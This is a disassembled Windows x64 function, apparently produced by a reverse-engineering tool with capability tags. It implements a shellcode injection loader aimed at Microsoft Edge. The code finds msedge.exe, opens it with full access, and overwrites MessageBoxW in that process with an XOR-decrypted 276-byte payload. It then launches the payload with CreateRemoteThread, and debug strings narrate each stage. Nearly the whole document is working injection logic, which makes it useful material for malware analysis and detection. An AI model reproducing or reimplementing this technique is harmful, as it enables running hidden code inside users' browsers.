Function at 0x140001070
Capabilities:
Create thread
Encode data using xor
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x190], rax
xor r15d, r15d
mov qword [rsp + 0x40], 0x238
xor edx, edx
mov dword [rsp + 0x48], r15d
mov r8d, 0x20c
mov qword [rsp + 0x50], r15
lea rcx, [rsp + 0x6c]
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
mov dword [rsp + 0x68], r15d
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rbp + 0x180], r15d
mov dword [rbp + 0x184], r15d
mov qword [rbp + 0x188], r15
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rcx, str.Searching_for_msedge.exe__standby..._n
mov ebx, r15d
mov rdi, rax
call fcn.140001010
test rdi, rdi
je 0x14000147e
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000146f
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x2c0], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000143e
lea rbx, str.msedge.exe
nop word [rax + rax]
lea rdx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
nop dword [rax]
movzx ecx, word [rbx + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x140001180
add rax, 2
cmp rax, 0xb
je 0x1400011a0
movzx ecx, word [rbx + rax*2]
cmp cx, word [rdx + rax*2]
je 0x140001160
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001150
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000144b
mov edx, dword [rsp + 0x48]
lea rcx, str.Found_microsoft_edge_at_pid____d__._Starting_injection_procedure._n
call fcn.140001010
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
mov ebx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14000143e
mov rdx, qword [sym.imp.USER32.dll_MessageBoxW]
lea rax, [rbp + 0x180]
lea r9d, [rbx + 3]
mov qword [rsp + 0x20], rax
mov r8d, 0x114
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140001416
mov qword [rsp + 0x2c8], r14
lea rcx, str.Set_memory_protection_for_range_0x_p___0x_p___lld_bytes__to_PAGE_READWRITE_n
mov r14, qword [sym.imp.USER32.dll_MessageBoxW]
mov r9d, 0x114
mov rdx, r14
lea r8, [r14 + 0x114]
call fcn.140001010
mov ecx, 0x100
xor bl, bl
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rax
test rax, rax
je 0x1400013fa
movzx edx, byte [0x140005080]
cmp dl, 0x15
je 0x14000125d
inc bl
movzx ecx, bl
xor cl, dl
cmp cl, 0x15
jne 0x140001251
mov edx, r15d
lea r8, [0x140005080]
nop word [rax + rax]
movsxd rcx, edx
movzx eax, bl
xor al, byte [rcx + r8]
sub al, dl
inc edx
mov byte [rcx + r9], al
cmp edx, 0x100
jb 0x140001270
mov edx, r15d
lea r8, [0x140005180]
mov r10d, r15d
mov rax, r15
nop word [rax + rax]
cmp edx, 0x100
lea r8, [r8 + 1]
mov rcx, r15
cmovb rcx, rax
inc r10d
movzx eax, byte [rcx + r9]
xor byte [r8 - 1], al
mov eax, r15d
cmp edx, 0x100
cmovb eax, edx
lea edx, [rax + 1]
lea rax, [rcx + 1]
cmp r10d, 0x114
jb 0x1400012a0
lea r8, [0x140005180]
mov rdx, r9
lea rcx, str.Decrypted_encryption_key___0x_p_nDecrypted_shellcode_at_0x_p_n
call fcn.140001010
mov rdx, qword [sym.imp.USER32.dll_MessageBoxW]
lea rax, [rbp + 0x188]
mov r9d, 0x114
mov qword [rsp + 0x20], rax
lea r8, [0x140005180]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400013e6
lea rcx, str.Overwrote_MessageBoxW_function_in_msedge_with_payload_n
call fcn.140001010
mov r9d, dword [rbp + 0x180]
lea rax, [rbp + 0x180]
mov rdx, qword [sym.imp.USER32.dll_MessageBoxW]
mov r8d, 0x114
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1400013fa
mov rdx, qword [sym.imp.USER32.dll_MessageBoxW]
lea r8, [r14 + 0x114]
mov r9d, 0x114
lea rcx, str.Set_memory_protection_for_range_0x_p___0x_p___lld_bytes__to_PAGE_EXECUTE_READ_n
call fcn.140001010
mov r9, qword [sym.imp.USER32.dll_MessageBoxW]
lea rax, [rbp + 0x184]
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], r15d
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x1400013d7
mov r8d, dword [rbp + 0x184]
lea rcx, str.Executed_shellcode_in_msedge___d__on_thread___d__n
mov edx, dword [rsp + 0x48]
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1400013fa
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateRemoteThread_failed_with_error:__d_n
jmp 0x1400013f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____WriteProcessMemory_failed_with_error:__d_n
mov edx, eax
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x2c8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001457
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtectEx_failed_with_error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001457
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001457
lea rcx, str.____No_msedge_process_was_found._Launch_microsoft_edge_and_run_this_process_again._n
call fcn.140001010
lea rcx, str.Complete_
call fcn.140001010
mov rsi, qword [rsp + 0x2c0]
xor eax, eax
jmp 0x140001497
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Process32First_failed_with_error:__d_n
jmp 0x14000148b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateToolhelp32Snapshot_failed_with_error:__d_n
mov edx, eax
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.1400014d0
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x2a0
pop r15
pop rdi
pop rbp
ret